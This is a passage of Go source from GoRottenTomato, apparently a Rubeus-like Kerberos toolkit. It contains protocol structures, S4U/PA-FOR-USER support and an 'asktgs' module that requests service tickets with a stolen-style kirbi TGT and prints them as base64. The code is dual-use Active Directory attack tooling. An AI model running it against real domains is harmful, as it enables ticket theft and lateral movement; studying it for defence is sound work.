Nouce int `asn1:"optional,explicit,tag:1"` 25 | Timestamp time.Time `asn1:"generalized,optional,explicit,tag:2"` 26 | Usec int `asn1:"optional,explicit,tag:3"` 27 | S_Address types.HostAddress `asn1:"optional,explicit,tag:4"` 28 | R_Address types.HostAddress `asn1:"optional,explicit,tag:5"` 29 | } 30 | 31 | type KrbCredInfo struct { 32 | Key types.EncryptionKey `asn1:"explicit,tag:0"` 33 | PRealm string `asn1:"generalstring,optional,explicit,tag:1"` 34 | PName types.PrincipalName `asn1:"optional,explicit,tag:2"` 35 | Flags asn1.BitString `asn1:"optional,explicit,tag:3"` 36 | AuthTime time.Time `asn1:"generalized,optional,explicit,tag:4"` 37 | StartTime time.Time `asn1:"generalized,optional,explicit,tag:5"` 38 | EndTime time.Time `asn1:"generalized,optional,explicit,tag:6"` 39 | Renew_Till time.Time `asn1:"generalized,optional,explicit,tag:7"` 40 | SRealm string `asn1:"generalstring,optional,explicit,tag:8"` 41 | SName types.PrincipalName `asn1:"optional,explicit,tag:9"` 42 | CAddr types.HostAddresses `asn1:"optional,explicit,tag:10"` 43 | } 44 | 45 | 46 | type mKRB_CRED struct { 47 | Pvno int `asn1:"explicit,tag:0"` 48 | Msg_Type int `asn1:"explicit,tag:1"` 49 | Tickets ticket.SeqOfRawTickets `asn1:"explicit,tag:2"` 50 | Enc_Part types.EncryptedData `asn1:"explicit,tag:3"` 51 | } 52 | 53 | type umKRB_CRED struct { 54 | Pvno int `asn1:"explicit,tag:0"` 55 | Msg_Type int `asn1:"explicit,tag:1"` 56 | Tickets asn1.RawValue `asn1:"explicit,tag:2"` 57 | Enc_Part types.EncryptedData `asn1:"explicit,tag:3"` 58 | } 59 | 60 | func (org *EncKrbCredPart)Marshal() ([]byte, error) { 61 | return asn1.MarshalWithParams(*org, fmt.Sprintf("application,explicit,tag:%d", flags.EncKrbCredPart)) 62 | } 63 | 64 | func (org *EncKrbCredPart)Unmarshal(data []byte) error { 65 | _, err := asn1.UnmarshalWithParams(data, org, fmt.Sprintf("application,explicit,tag:%v", flags.EncKrbCredPart)) 66 | if err != nil { 67 | return fmt.Errorf("error in EncKrbCredPart unmarshaling %v", err) 68 | } 69 | return nil 70 | } 71 | 72 | func (org *KRB_CRED)DecryptEncpart(key types.EncryptionKey) error { 73 | encData, err := crypto.DecryptEncPart(org.Enc_Part, key, flags.KRB_CRED_ENCPART) 74 | if err != nil { 75 | return err 76 | } 77 | var dekcp EncKrbCredPart 78 | err = dekcp.Unmarshal(encData) 79 | if err != nil { 80 | return err 81 | } 82 | org.DecEncPart = dekcp 83 | return nil 84 | } 85 | 86 | func (org *KRB_CRED)Marshal() ([]byte, error) { 87 | m := mKRB_CRED{ 88 | Pvno: org.Pvno, 89 | Msg_Type: org.Msg_Type, 90 | } 91 | 92 | err := m.Tickets.AddTickets(org.Tickets) 93 | if err != nil { 94 | return nil, err 95 | } 96 | 97 | mdp, err := org.DecEncPart.Marshal() 98 | if err != nil { 99 | return nil, err 100 | } 101 | 102 | m.Enc_Part.EType = org.Enc_Part.EType 103 | m.Enc_Part.Cipher = mdp 104 | 105 | return asn1.MarshalWithParams(m, fmt.Sprintf("application,explicit,tag:%d", flags.KRB_CRED)) 106 | } 107 | 108 | func (org *KRB_CRED)Unmarshal(data []byte) error { 109 | var m umKRB_CRED 110 | _, err := asn1.UnmarshalWithParams(data, &m, fmt.Sprintf("application,explicit,tag:%v", flags.KRBCred)) 111 | if err != nil { 112 | return fmt.Errorf("unmarshal KRB_CRED failed %v", err) 113 | } 114 | if m.Msg_Type != flags.KRB_CRED { 115 | return fmt.Errorf("unmarshal KRB_CRED Msg_Type error") 116 | } 117 | 118 | var tickets []ticket.Ticket 119 | 120 | tickets, err = ticket.UnmarshalTicketsSequence(m.Tickets) 121 | if err != nil { 122 | return err 123 | } 124 | 125 | 126 | decPart := m.Enc_Part.Cipher 127 | err = org.DecEncPart.Unmarshal(decPart) 128 | if err != nil { 129 | return fmt.Errorf("decEncPart unmarshal failed %v", err) 130 | } 131 | 132 | org.Pvno = m.Pvno 133 | org.Msg_Type = m.Msg_Type 134 | org.Enc_Part = m.Enc_Part 135 | org.Tickets = tickets 136 | 137 | return nil 138 | } 139 | 140 | func (org KRB_CRED)IsEmpty() bool { 141 | return reflect.DeepEqual(org, KRB_CRED{}) 142 | } -------------------------------------------------------------------------------- /krb5/procedure/TGS_REP.go: -------------------------------------------------------------------------------- 1 | package procedure 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/krb5/KRBError" 6 | "GoRottenTomato/krb5/crypto" 7 | "GoRottenTomato/krb5/flags" 8 | "GoRottenTomato/krb5/ticket" 9 | "GoRottenTomato/krb5/types" 10 | "fmt" 11 | ) 12 | 13 | type TGS_REP struct { 14 | KDC_REP 15 | } 16 | 17 | func (org *TGS_REP)Unmarshal(data []byte) error { 18 | var m mKDC_REP 19 | _, err := asn1.UnmarshalWithParams(data, &m, fmt.Sprintf("application,explicit,tag:%v", flags.TGSREP)) 20 | if err != nil { 21 | return KRBError.ProcessUnmarshalReplyError(data, err) 22 | } 23 | tkt, err := ticket.UnmarshalTicket(m.Ticket.Bytes) 24 | if err != nil { 25 | return fmt.Errorf("error unmarshaling Ticket within TGS_REP %v", err) 26 | } 27 | org.KDC_REP = KDC_REP{ 28 | Pvno: m.Pvno, 29 | Msg_Type: m.Msg_Type, 30 | Padata: m.Padata, 31 | CRealm: m.CRealm, 32 | CName: m.CName, 33 | Ticket: tkt, 34 | Enc_Part: m.Enc_Part, 35 | } 36 | return nil 37 | } 38 | 39 | func (org *TGS_REP)DecryptEncPart(key types.EncryptionKey) error { 40 | data, err := crypto.DecryptEncPart(org.Enc_Part, key, flags.TGS_REP_ENCPART_SESSION_KEY) 41 | if err != nil { 42 | return fmt.Errorf("decrypt tgsreq failed %v", err) 43 | } 44 | var enc EncKDCRepPart 45 | err = enc.Unmarshal(data) 46 | if err != nil { 47 | return fmt.Errorf("decrypt tgsreq failed %v", err) 48 | } 49 | org.DecryptedEncPart = enc 50 | return nil 51 | } 52 | 53 | func (org *TGS_REP)GetCRED() *KRB_CRED { 54 | info := org.KDC_REP.DecryptedEncPart.GetKrbCredInfo() 55 | info.PRealm = org.CRealm 56 | info.PName = org.CName 57 | cred := &KRB_CRED{ 58 | Pvno: flags.PVNO, 59 | Msg_Type: flags.KRB_CRED, 60 | Tickets: []ticket.Ticket{org.KDC_REP.Ticket}, 61 | DecEncPart: EncKrbCredPart{ 62 | Ticket_Info: []KrbCredInfo{info}, 63 | }, 64 | } 65 | return cred 66 | } 67 | 68 | func (org *TGS_REP)Check(tag int) bool { 69 | if tag == org.Msg_Type { 70 | return true 71 | } 72 | return false 73 | } -------------------------------------------------------------------------------- /krb5/procedure/TGS_REQ.go: -------------------------------------------------------------------------------- 1 | package procedure 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/funcs" 6 | "GoRottenTomato/krb5/crypto" 7 | "GoRottenTomato/krb5/flags" 8 | "GoRottenTomato/krb5/ticket" 9 | "GoRottenTomato/krb5/types" 10 | "fmt" 11 | "time" 12 | ) 13 | 14 | type TGS_REQ struct { 15 | KDC_REQ 16 | } 17 | 18 | func NewTGSREQ(kFlags asn1.BitString, realm string, cname, sname types.PrincipalName, till time.Time) *TGS_REQ { 19 | nonce := funcs.GetNonce() 20 | req := &TGS_REQ{ 21 | KDC_REQ{ 22 | Pvno: flags.PVNO, 23 | Msg_Type: flags.KRB_TGS_REQ, 24 | Padata: types.PADataSequence{}, 25 | Req_Body: KDC_REQ_BODY{ 26 | KDC_Options: kFlags, 27 | Realm: realm, 28 | CName: cname, 29 | SName: sname, 30 | Till: till, 31 | Nonce: nonce, 32 | EType: []int32{17, 18, 23}, 33 | }, 34 | }, 35 | } 36 | return req 37 | } 38 | 39 | func (org *TGS_REQ)SetPAData(tgt ticket.Ticket, sessionkey types.EncryptionKey) error { 40 | data, err := org.Req_Body.Marshal() 41 | if err != nil { 42 | return fmt.Errorf("tgsreq failed %v", err) 43 | } 44 | eType := crypto.GetEType(sessionkey.KeyType) 45 | check, err := eType.GetChecksumHash(sessionkey.KeyValue, data, 6) 46 | if err != nil { 47 | return fmt.Errorf("tgsreq hash check failed") 48 | } 49 | 50 | auth := types.NewAuthenticator(tgt.Realm, org.Req_Body.CName) 51 | auth.Cksum = types.Checksum{ 52 | CksumType: eType.GetHashID(), 53 | Checksum: check, 54 | } 55 | 56 | apreq, err := NewAPREQ(tgt, sessionkey, auth) 57 | if err != nil { 58 | return fmt.Errorf("tgsreq set padata failed %v", err) 59 | } 60 | mapreq, err := apreq.Marshal() 61 | if err != nil { 62 | return err 63 | } 64 | org.Padata = types.PADataSequence{ 65 | types.PA_DATA{ 66 | Padata_Type: flags.PA_TGS_REQ, 67 | Padata_Value: mapreq, 68 | }, 69 | } 70 | return nil 71 | } 72 | 73 | func (org *TGS_REQ)Marshal() ([]byte, error) { 74 | m := mKDC_REQ{ 75 | Pvno: org.Pvno, 76 | Msg_Type: org.Msg_Type, 77 | Padata: org.Padata, 78 | } 79 | mrb, err := org.Req_Body.Marshal() 80 | if err != nil { 81 | return nil, fmt.Errorf("tgsreq marshaling error %v", err) 82 | } 83 | m.Req_Body = asn1.RawValue{ 84 | Class: asn1.ClassContextSpecific, 85 | IsCompound: true, 86 | Tag: 4, 87 | Bytes: mrb, 88 | } 89 | data, err := asn1.Marshal(m) 90 | if err != nil { 91 | return nil, err 92 | } 93 | data = funcs.AddASNTag(data, flags.TGSREQ) 94 | return data, nil 95 | } 96 | -------------------------------------------------------------------------------- /krb5/ticket/funcs.go: -------------------------------------------------------------------------------- 1 | package ticket 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/funcs" 6 | "GoRottenTomato/krb5/flags" 7 | "fmt" 8 | ) 9 | 10 | 11 | func MarshalTicket(tkts []Ticket) (asn1.RawValue, error) { 12 | raw := asn1.RawValue{ 13 | Class: 2, 14 | IsCompound: true, 15 | } 16 | 17 | if len(tkts) < 1 { 18 | return raw, nil 19 | } 20 | 21 | var btkts []byte 22 | for _, value := range tkts{ 23 | data, err := value.Marshal() 24 | if err != nil { 25 | return raw, err 26 | } 27 | btkts = append(btkts, data...) 28 | } 29 | btkts = append(funcs.MarshalLengthBytes(len(btkts)), btkts...) 30 | btkts = append([]byte{byte(32 + asn1.TagSequence)}, btkts...) 31 | 32 | raw.Bytes = btkts 33 | return raw, nil 34 | } 35 | 36 | func UnmarshalTicket(data []byte) (ticket Ticket, err error) { 37 | err = ticket.Unmarshal(data) 38 | return 39 | } 40 | 41 | func UnmarshalTicketsSequence(in asn1.RawValue) ([]Ticket, error) { 42 | b := in.Bytes 43 | p := 1 + GetNumberBytesInLengthHeader(in.Bytes) 44 | var tkts []Ticket 45 | var raw asn1.RawValue 46 | for p < (len(b)) { 47 | _, err := asn1.UnmarshalWithParams(b[p:], &raw, fmt.Sprintf("application,tag:%d", flags.Ticket)) 48 | if err != nil { 49 | return nil, fmt.Errorf("unmarshaling sequence of tickets failed getting length of ticket: %v", err) 50 | } 51 | t, err := unmarshalTicket(b[p:]) 52 | if err != nil { 53 | return nil, fmt.Errorf("unmarshaling sequence of tickets failed: %v", err) 54 | } 55 | p += len(raw.FullBytes) 56 | tkts = append(tkts, t) 57 | } 58 | MarshalTicketSequence(tkts) 59 | return tkts, nil 60 | } 61 | 62 | func unmarshalTicket(b []byte) (t Ticket, err error) { 63 | err = t.Unmarshal(b) 64 | return 65 | } 66 | 67 | func GetNumberBytesInLengthHeader(b []byte) int { 68 | if int(b[1]) <= 127 { 69 | return 1 70 | } 71 | return 1 + int(b[1]) - 128 72 | } 73 | 74 | func MarshalTicketSequence(tkts []Ticket) (asn1.RawValue, error) { 75 | raw := asn1.RawValue{ 76 | Class: 2, 77 | IsCompound: true, 78 | } 79 | if len(tkts) < 1 { 80 | return raw, nil 81 | } 82 | var btkts []byte 83 | for i, t := range tkts { 84 | b, err := t.Marshal() 85 | if err != nil { 86 | return raw, fmt.Errorf("error marshaling ticket number %d in sequence of tickets", i+1) 87 | } 88 | btkts = append(btkts, b...) 89 | } 90 | 91 | btkts = append(funcs.MarshalLengthBytes(len(btkts)), btkts...) 92 | btkts = append([]byte{byte(32 + asn1.TagSequence)}, btkts...) 93 | raw.Bytes = btkts 94 | return raw, nil 95 | } 96 | 97 | var ticketFlagsMap = map[int]string{ 98 | flags.Reserved : "reserved", 99 | flags.Forwardable : "forwardable", 100 | flags.Forwarded : "forwarded", 101 | flags.Proxiable : "proxiable", 102 | flags.Proxy : "proxy", 103 | flags.Allow_Postdate : "allow-postdate", 104 | flags.Postdated : "postdated", 105 | flags.Invalid : "invalid", 106 | flags.Renewable : "renewable", 107 | flags.Initial : "initial", 108 | flags.PreAuthent : "pre-authent", 109 | flags.HwAuthent : "hwauthent", 110 | flags.TransitedPolicyChecked : "transited-policy-checked", 111 | flags.OkAsDelegate : "ok-as-delegate", 112 | flags.CONSTRAINED_DELEGATION : "DELEGATION", 113 | flags.NameCanonicalize : "name-canonicalize", 114 | } 115 | 116 | func DisplayTickets(ticketsFlags asn1.BitString) []string { 117 | flag := make([]string, 0) 118 | for i := flags.Reserved; i <= flags.NameCanonicalize; i++ { 119 | if ticketsFlags.At(i) == 1 { 120 | flag = append(flag, ticketFlagsMap[i]) 121 | } 122 | } 123 | return flag 124 | } -------------------------------------------------------------------------------- /krb5/ticket/method.go: -------------------------------------------------------------------------------- 1 | package ticket 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/funcs" 6 | "GoRottenTomato/krb5/flags" 7 | "fmt" 8 | ) 9 | 10 | func (ticket *Ticket)Marshal() ([]byte, error) { 11 | data, err := asn1.Marshal(*ticket) 12 | if err !=nil { 13 | return nil, fmt.Errorf("ticket marshal error %v", err) 14 | } 15 | data = funcs.AddASNTag(data, flags.Ticket) 16 | return data, nil 17 | } 18 | 19 | func (ticket *Ticket)Unmarshal(data []byte) (err error) { 20 | _, err = asn1.UnmarshalWithParams(data, ticket, fmt.Sprintf("application,explicit,tag:%d", flags.Ticket)) 21 | return 22 | } 23 | 24 | func (org *Ticket)RawValue() (*asn1.RawValue, error) { 25 | data, err := asn1.Marshal(*(org)) 26 | if err != nil { 27 | return nil, err 28 | } 29 | rv := &asn1.RawValue{ 30 | Class: asn1.ClassApplication, 31 | IsCompound: true, 32 | Tag: flags.Ticket, 33 | Bytes: data, 34 | } 35 | return rv, nil 36 | } 37 | 38 | func (org *SeqOfRawTickets)AddTickets(tickets []Ticket) error { 39 | for _, ticket := range tickets { 40 | r, err := ticket.RawValue() 41 | if err != nil { 42 | return err 43 | } 44 | 45 | (*org) = append(*org, *r) 46 | } 47 | return nil 48 | } 49 | -------------------------------------------------------------------------------- /krb5/ticket/ticket.go: -------------------------------------------------------------------------------- 1 | package ticket 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/krb5/types" 6 | "time" 7 | ) 8 | 9 | type Ticket struct { 10 | Tkt_VNO int `asn1:"explicit,tag:0"` 11 | Realm string `asn1:"generalstring,explicit,tag:1"` 12 | SName types.PrincipalName `asn1:"explicit,tag:2"` 13 | Enc_Part types.EncryptedData `asn1:"explicit,tag:3"` 14 | DecryptedEncPart EncTicketPart `asn1:"optional"` 15 | } 16 | 17 | type EncTicketPart struct { 18 | Flags asn1.BitString `asn1:"explicit,tag:0"` 19 | Key types.EncryptionKey `asn1:"explicit,tag:1"` 20 | CRealm string `asn1:"generalstring,explicit,tag:2"` 21 | CName types.PrincipalName `asn1:"explicit,tag:3"` 22 | Transited TransitedEncoding `asn1:"explicit,tag:4"` 23 | AuthTime time.Time `asn1:"generalized,explicit,tag:5"` 24 | StartTime time.Time `asn1:"generalized,explicit,optional,tag:6"` 25 | EndTime time.Time `asn1:"generalized,explicit,tag:7"` 26 | Renew_Till time.Time `asn1:"generalized,explicit,optional,tag:8"` 27 | Caddr types.HostAddresses `asn1:"explicit,optional,tag:9"` 28 | AuthorizationData types.AuthorizationData `asn1:"explicit,optional,tag:10"` 29 | } 30 | 31 | type TransitedEncoding struct { 32 | Tr_Type int32 `asn1:"explicit,tag:0"` 33 | Contents []byte `asn1:"explicit,tag:1"` 34 | } 35 | 36 | type SeqOfRawTickets []asn1.RawValue 37 | 38 | 39 | -------------------------------------------------------------------------------- /krb5/types/Authenticator.go: -------------------------------------------------------------------------------- 1 | package types 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/funcs" 6 | "GoRottenTomato/krb5/flags" 7 | "fmt" 8 | "time" 9 | ) 10 | 11 | type Authenticator struct { 12 | AVNO int `asn1:"explicit,tag:0"` 13 | CRealm string `asn1:"generalstring,explicit,tag:1"` 14 | CName PrincipalName `asn1:"explicit,tag:2"` 15 | Cksum Checksum `asn1:"explicit,optional,tag:3"` 16 | Cusec int `asn1:"explicit,tag:4"` 17 | CTime time.Time `asn1:"generalized,explicit,tag:5"` 18 | SubKey EncryptionKey `asn1:"explicit,optional,tag:6"` 19 | SeqNumber int64 `asn1:"explicit,optional,tag:7"` 20 | AuthorizationData AuthorizationData `asn1:"explicit,optional,tag:8"` 21 | } 22 | 23 | func NewAuthenticator(realm string, cname PrincipalName) Authenticator { 24 | seq := funcs.GetNonce() 25 | now := time.Now().UTC() 26 | return Authenticator{ 27 | AVNO: flags.PVNO, 28 | CRealm: realm, 29 | CName: cname, 30 | Cksum: Checksum{}, 31 | Cusec: int((now.UnixNano() / int64(time.Microsecond)) - (now.Unix() * 1e6)), 32 | CTime: now, 33 | SeqNumber: int64(seq), 34 | } 35 | } 36 | 37 | func (org *Authenticator)Marshal() ([]byte, error) { 38 | data, err := asn1.Marshal(*org) 39 | if err != nil { 40 | return nil, fmt.Errorf("marshaling Authenticator failed %v", err) 41 | } 42 | data = funcs.AddASNTag(data, flags.Authenticator) 43 | return data, nil 44 | } 45 | 46 | -------------------------------------------------------------------------------- /krb5/types/AuthorizationData.go: -------------------------------------------------------------------------------- 1 | package types 2 | 3 | type AuthorizationDataEntry struct { 4 | AD_Type int32 `asn1:"explicit,tag:0"` 5 | AD_Data []byte `asn1:"explicit,tag:1"` 6 | } 7 | 8 | type AuthorizationData []AuthorizationDataEntry 9 | 10 | -------------------------------------------------------------------------------- /krb5/types/HostAddress.go: -------------------------------------------------------------------------------- 1 | package types 2 | 3 | type HostAddress struct { 4 | Addr_Type int32 `asn1:"explicit,tag:0"` 5 | Address []byte `asn1:"explicit,tag:1"` 6 | } 7 | 8 | type HostAddresses []HostAddress 9 | -------------------------------------------------------------------------------- /krb5/types/KerberosFlags.go: -------------------------------------------------------------------------------- 1 | package types 2 | 3 | import "GoRottenTomato/asn1" 4 | 5 | func NewKrbFlags() asn1.BitString { 6 | return NewKerberosFlagsFromUInt32(0) 7 | } 8 | 9 | func NewKerberosFlagsFromUInt32(f uint32) asn1.BitString { 10 | flags := asn1.BitString{} 11 | flags.Bytes = []byte{ 12 | byte(f & 0xFF000000 >> 24), 13 | byte(f & 0x00FF0000 >> 16), 14 | byte(f & 0x0000FF00 >> 8), 15 | byte(f & 0x000000FF >> 0), 16 | } 17 | flags.BitLength = 4 * 8 18 | 19 | return flags 20 | } 21 | 22 | func SetKerberosFlag(kFlags *asn1.BitString, flag int) { 23 | i := flag / 8 24 | p := uint(7 - (flag - 8*i)) 25 | kFlags.Bytes[i] = kFlags.Bytes[i] | (1 << p) 26 | } 27 | 28 | func GetKerberosFlags(flags ...int) (flag asn1.BitString) { 29 | flag = NewKrbFlags() 30 | for _, value := range flags{ 31 | SetKerberosFlag(&flag, value) 32 | } 33 | return 34 | } -------------------------------------------------------------------------------- /krb5/types/PAC.go: -------------------------------------------------------------------------------- 1 | package types 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/krb5/flags" 6 | "fmt" 7 | "time" 8 | ) 9 | 10 | type PA_DATA struct { 11 | Padata_Type int32 `asn1:"explicit,tag:1"` 12 | Padata_Value []byte `asn1:"explicit,tag:2"` 13 | } 14 | 15 | type PA_ENC_TS_ENC struct { 16 | Patimestamp time.Time `asn1:"generalized,explicit,tag:0"` 17 | Pausec int `asn1:"optional,explicit,tag:1"` 18 | } 19 | 20 | //https://datatracker.ietf.org/doc/html/rfc4120#section-5.2.7.2 21 | type PADataSequence []PA_DATA 22 | 23 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/765795ba-9e05-4220-9bd3-b34464e413a7 24 | type KERB_PA_PAC_REQUEST struct { 25 | Include bool `asn1:"explicit,tag:0"` 26 | } 27 | 28 | func NewPAData(paDataType int32, val interface{}) (*PA_DATA, error) { 29 | paDatavalue, err := asn1.Marshal(val) 30 | if err != nil { 31 | return nil, fmt.Errorf("newPAData Failed %v", err) 32 | } 33 | paData := &PA_DATA{ 34 | Padata_Type: paDataType, 35 | Padata_Value: paDatavalue, 36 | } 37 | return paData, nil 38 | } 39 | 40 | //KERB-PA-PAC-REQUEST ::= SEQUENCE { 41 | //include-pac[0] BOOLEAN --If TRUE, and no pac present, include PAC. 42 | //--If FALSE, and PAC present, remove PAC 43 | //} 44 | func NewKerbPaPacREQUEST(nopac bool) (*PA_DATA, error) { 45 | return NewPAData(flags.PA_PAC_REQUEST, KERB_PA_PAC_REQUEST{!nopac, 46 | }) 47 | } 48 | 49 | func (pas *PADataSequence)Unmarshal(data []byte) error { 50 | _, err := asn1.Unmarshal(data, pas) 51 | return err 52 | } 53 | 54 | type ETYPE_INFO_ENTRY struct { 55 | Etype int32 `asn1:"explicit,tag:0"` 56 | Salt []byte `asn1:"explicit,optional,tag:1"` 57 | } 58 | 59 | type ETypeINFO []ETYPE_INFO_ENTRY 60 | 61 | func (org *ETypeINFO)Unmarshal(data []byte) error { 62 | _, err := asn1.Unmarshal(data, org) 63 | return err 64 | } 65 | 66 | type ETYPE_INFO2_ENTRY struct { 67 | Etype int32 `asn1:"explicit,tag:0"` 68 | Salt []byte `asn1:"explicit,optional,tag:1"` 69 | S2kparams []byte `asn1:"explicit,optional,tag:2"` 70 | } 71 | 72 | type ETypeINFO2 []ETYPE_INFO2_ENTRY 73 | 74 | func (org *ETypeINFO2)Unmarshal(data []byte) error { 75 | _, err := asn1.Unmarshal(data, org) 76 | return err 77 | } 78 | 79 | func (org *PA_DATA)GetETypeINFO() (d ETypeINFO2, err error) { 80 | if org.Padata_Type != flags.PA_ETYPE_INFO { 81 | err = fmt.Errorf("EType ID Expected:%v Actually:%v", flags.PA_ETYPE_INFO, org.Padata_Type) 82 | } 83 | _, err = asn1.Unmarshal(org.Padata_Value, &d) 84 | return 85 | } 86 | 87 | func (org *PA_DATA)GetETypeINFO2() (d ETypeINFO2, err error) { 88 | if org.Padata_Type != flags.PA_ETYPE_INFO2 { 89 | err = fmt.Errorf("EType ID Expected:%v Actually:%v", flags.PA_ETYPE_INFO2, org.Padata_Type) 90 | } 91 | _, err = asn1.Unmarshal(org.Padata_Value, &d) 92 | return 93 | } 94 | -------------------------------------------------------------------------------- /krb5/types/PaForUser.go: -------------------------------------------------------------------------------- 1 | package types 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "bytes" 6 | "encoding/binary" 7 | "strings" 8 | ) 9 | 10 | //From https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/aceb70de-40f0-4409-87fa-df00ca145f5a 11 | 12 | /* 13 | PA-FOR-USER ::= SEQUENCE { 14 | -- PA TYPE 129 15 | userName [0] PrincipalName, 16 | userRealm [1] Realm, 17 | cksum [2] Checksum, 18 | auth-package [3] KerberosString 19 | } 20 | */ 21 | 22 | type PA_FOR_USER struct { 23 | UserName PrincipalName `asn1:"explicit,tag:0"` 24 | UserRealm string `asn1:"generalstring,explicit,tag:1"` 25 | Cksum Checksum `asn1:"explicit,optional,tag:2"` 26 | Auth_Package string `asn1:"generalstring,explicit,tag:3"` 27 | } 28 | 29 | func NewPAFORUSER(username PrincipalName, realm string) PA_FOR_USER { 30 | return PA_FOR_USER{ 31 | UserName: username, 32 | UserRealm: strings.ToUpper(realm), 33 | Cksum: Checksum{}, 34 | Auth_Package: "Kerberos", 35 | } 36 | } 37 | 38 | func (org *PA_FOR_USER)Marshal() ([]byte, error) { 39 | eb, err := asn1.Marshal(*org) 40 | if err != nil { 41 | return eb, err 42 | } 43 | return eb, nil 44 | } 45 | 46 | func (org PA_FOR_USER)GetS4UByteArray() []byte { 47 | name := make([]byte, 4) 48 | binary.LittleEndian.PutUint32(name, uint32(org.UserName.Name_Type)) 49 | var buffer bytes.Buffer 50 | buffer.Write(name) 51 | buffer.Write([]byte(org.UserName.Name_String[0])) 52 | buffer.Write([]byte(org.UserRealm)) 53 | buffer.Write([]byte(org.Auth_Package)) 54 | return buffer.Bytes() 55 | } -------------------------------------------------------------------------------- /krb5/types/PaPacOptions.go: -------------------------------------------------------------------------------- 1 | package types 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "fmt" 6 | ) 7 | 8 | /* 9 | PA-PAC-OPTIONS ::= SEQUENCE { 10 | KerberosFlags 11 | -- Claims(0) 12 | -- Branch Aware(1) 13 | -- Forward to Full DC(2) 14 | -- Resource-based Constrained Delegation (3) 15 | } 16 | */ 17 | 18 | type PA_PAC_OPTIONS struct { 19 | KerberosFlags asn1.BitString `asn1:"explicit,tag:0"` 20 | } 21 | 22 | type PA_PAC_OPTIONS_SEQUENCE []PA_PAC_OPTIONS 23 | 24 | func NewPaPacOptions(kflags ...int) *PA_PAC_OPTIONS { 25 | kflag := NewKrbFlags() 26 | for _, value := range kflags{ 27 | SetKerberosFlag(&kflag, value) 28 | } 29 | pac := PA_PAC_OPTIONS{ 30 | KerberosFlags: kflag, 31 | } 32 | return &pac 33 | } 34 | 35 | func (org *PA_PAC_OPTIONS)Marshal() ([]byte, error) { 36 | data, err := asn1.Marshal(*org) 37 | if err != nil { 38 | return nil, fmt.Errorf("PA-PAC-Options marshal failed") 39 | } 40 | return data, nil 41 | } -------------------------------------------------------------------------------- /krb5/types/PrincipalName.go: -------------------------------------------------------------------------------- 1 | package types 2 | 3 | import ( 4 | "strings" 5 | "unsafe" 6 | ) 7 | 8 | type PrincipalName struct { 9 | Name_Type int32 `asn1:"explicit,tag:0"` 10 | Name_String []string `asn1:"generalstring,explicit,tag:1"` 11 | } 12 | 13 | func (pn PrincipalName)GetSalt(realm string) string { 14 | var data []byte 15 | data = append(data, realm...) 16 | for _, n := range pn.Name_String { 17 | data = append(data, n...) 18 | } 19 | return *(*string)(unsafe.Pointer(&data)) 20 | } 21 | 22 | func NewPrincipalName(ntype int32, spn string) PrincipalName { 23 | return PrincipalName{ 24 | Name_Type: ntype, 25 | Name_String: strings.Split(spn, "/"), 26 | } 27 | } -------------------------------------------------------------------------------- /krb5/types/crypto.go: -------------------------------------------------------------------------------- 1 | package types 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | ) 6 | 7 | type EncryptedData struct { 8 | EType int32 `asn1:"explicit,tag:0"` 9 | Kvno int `asn1:"explicit,optional,tag:1"` 10 | Cipher []byte `asn1:"explicit,tag:2"` 11 | } 12 | 13 | type EncryptionKey struct { 14 | KeyType int32 `asn1:"explicit,tag:0"` 15 | KeyValue []byte `asn1:"explicit,tag:1"` 16 | } 17 | 18 | func (org *EncryptedData)Marshal() ([]byte, error) { 19 | eb, err := asn1.Marshal(*org) 20 | if err != nil { 21 | return eb, err 22 | } 23 | return eb, nil 24 | } 25 | 26 | type Checksum struct { 27 | CksumType int32 `asn1:"explicit,tag:0"` 28 | Checksum []byte `asn1:"explicit,tag:1"` 29 | } 30 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "GoRottenTomato/module" 5 | "os" 6 | ) 7 | 8 | func main() { 9 | module.Parse(os.Args[1:]) 10 | } 11 | 12 | 13 | -------------------------------------------------------------------------------- /module/asktgs.go: -------------------------------------------------------------------------------- 1 | package module 2 | 3 | import ( 4 | "GoRottenTomato/krb5/AskTGS" 5 | "GoRottenTomato/krb5/AskTGT" 6 | "GoRottenTomato/krb5/flags" 7 | "GoRottenTomato/krb5/procedure" 8 | "GoRottenTomato/krb5/types" 9 | "encoding/base64" 10 | "fmt" 11 | "strings" 12 | "time" 13 | ) 14 | 15 | func asktgs(dcIP, path string, service string, cred procedure.KRB_CRED) error { 16 | fmt.Printf("[*]Building TGS-REQ request for %s \n", service) 17 | 18 | spn := types.NewPrincipalName(flags.NT_SRV_INST, service) 19 | kflags := types.GetKerberosFlags(flags.Renewable, flags.Renewable_OK) 20 | 21 | tgs := procedure.NewTGSREQ(kflags, cred.Tickets[0].Realm, cred.DecEncPart.Ticket_Info[0].PName, spn, cred.DecEncPart.Ticket_Info[0].StartTime.Add(time.Hour * 24 * 7)) 22 | err := tgs.SetPAData(cred.Tickets[0], cred.DecEncPart.Ticket_Info[0].Key) 23 | if err != nil { 24 | return err 25 | } 26 | 27 | tgsrep, err := AskTGS.AskTGS(*tgs, dcIP, cred.DecEncPart.Ticket_Info[0].Key) 28 | if err != nil { 29 | return err 30 | } 31 | newcred := tgsrep.GetCRED() 32 | blob, err := newcred.Marshal() 33 | if err != nil { 34 | return err 35 | } 36 | fmt.Printf("[+]AskTGS Sucessful!\n") 37 | 38 | base := base64.StdEncoding.EncodeToString(blob) 39 | fmt.Printf("[*]Base64(%s):\n\n%s\n\n", path, base) 40 | Display(newcred) 41 | 42 | err = saveFile(path, blob) 43 | if err != nil { 44 | return err 45 | } 46 | return nil 47 | } 48 | 49 | func askTGSFromTGT(kirbi, dcIP string, service []string, save bool) error { 50 | cred, err := getUnmarshalTGT(kirbi) 51 | if err != nil { 52 | return 